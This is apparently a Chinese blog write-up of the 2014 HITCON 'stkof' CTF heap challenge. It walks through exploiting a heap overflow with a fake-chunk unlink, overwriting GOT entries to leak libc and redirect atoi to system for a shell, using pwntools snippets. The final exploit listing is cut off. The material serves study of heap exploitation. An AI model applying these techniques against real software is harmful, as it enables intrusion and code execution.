unlink(例题)
unlink还是得弄个题目搞一下,2014_hitcon_stkof
题目链接:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/unlink/2014_hitcon_stkof
实战
查看保护
可以改got表
分析
直接IDA
上来直接看见了alarm,给它patch掉吧。这个程序没有什么回显,先分析v3=1吧
create
v3=1跟进函数,这不是create吗?直接修改名字。下面就是正常的create,直接自动化函数
1 | def create(size): |
edit
1看完了看v3=2,可以从这里看出是一个edit的功能,在第20行,堆溢出漏洞,因为创建时有大小限制,而在第20行没有输入限制,造成了堆溢出漏洞,上函数
1 | def edit(index, size, content): |
delete
看见了free就知道这个估计是delete了。但是指针给清0了,没有UAF,上代码吧
1 | def delete(index): |
编写exp
先创建三个chunk看看堆是什么样子吧。
chunk1被夹在io中间,所以我们利用下面两个chunk来进行漏洞利用
既然用chunk2和chunk3的话,那我们可以在chunk2里面伪造fake_chunk最后释放chunk3来进行unlink,在这个之前,得要符合上个文章的unlink过程检查。(借用一下hollk大佬的图吧。
想要触发unlink的fake_chunk那它的大小至少应该为:
1 | 0x8(prev_size) + 0x8(size) + 0x8(fd) + 0x8(bk) + 0x8(next_prev) + 0x8(next_size) = 0x30 |
所以我们给了chunk2 0x30的大小,想要触发unlink那么chunk3的大小应该超过fastbin所以chunk3给成0x80,所以创建三个chunk大小为:
1 | create(0x100) #1 |
因为要过unlink的检查, 所以开始构造检查的必须元素,首先chunk3的prev_size得是0x30,size的p位为0,所以payload可以这样写:
1 | p1 = fake_chunk + p64(0x30) + p64(0x90) |
chunk3可以过检查了,接下来是fake_chunk过检查
prev_size:我们其实只想通过释放chunk3的时候向前合并fake_chunk,并不需要合并chunk2,所以fake_chunk的prev_size置零就行
size:其实fake_chunk仅仅需要fd和bk完成unlink流程就可以了,后面的next_prev和next_size仅仅为了检查时候用,所以size的大小为0x20就行
next_prev:这里其实就是为了绕过检查,证明fake_chunk是一个空闲块,所以next_prev要等于size,即0x20
next_size:没啥用,不检查这里,用字符串占位就好
所以fake_chunk为:
1 | fake_chunk = p64(0) + p64(0x20) + fd + bk + p64(0x20) |
接下来的难点是构造fd和bk,dbg一下吧,将p1给填进去
可以看到已经符合检查条件了,只有fd和bk了,在IDA里面的heap_ptr的地址找一下,heap_ptr是之前在IDA里面的::s,换了一个名字
因为要构造前一个chunk的bk=chunk2的prev_size地址,后一个chunk的fd=chunk2的prev_size,chunk2的fd=前一个chunk的prev_size,chunk2的bk=后一个的chunk的prev_size
上面的地址可以做为fake_chunk的fd
上面的地址可以做为fake_chunk的bk
所以fake_chunk这样写:
1 | fd = p64(0x602140 - 0x8) |
没有开PIE
释放chunk3触发unlink
1 | delete(3) |
图中的红色框为本来是ptr[2]的现在拿掉了chunk2,这里需要注意的是
third_chunk的fd
与first_chunk的bk
更改的其实是一个位置,但是由于third_fd = first_addr后执行
,所以此处内容会从0x602140被覆盖成0x602138
原来0x602148 + 0x8是chunk2,而现在可以看到0x602148 + 0x8被写成了0x602138,所以edit(2)的时候就会修改0x602138,所以这样写payload
1 | p2 = p64(0) + p64(free_got) + p64(puts_got) + p64(atoi_got) |
现在ptr[0]变成了free_got,ptr[1]变成了puts_got,ptr[2]变成了atoi_got
那现在就是leak libc,把ptr[0]改成puts_plt,free的时候就可以puts了
1 | p3 = p64(puts_plt) |
直接一把
1 | puts_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) |
因为ptr[2]变成了atoi_got的地址,所以直接edit(2)改成system_addr
1 | p4 = p64(system_addr) |
将atoi_got的地址改成了system,接下来我们就可以直接输入bin_sh
1 | r.sendline('/bin/sh\x00') |
exp
1 | from pwn import * |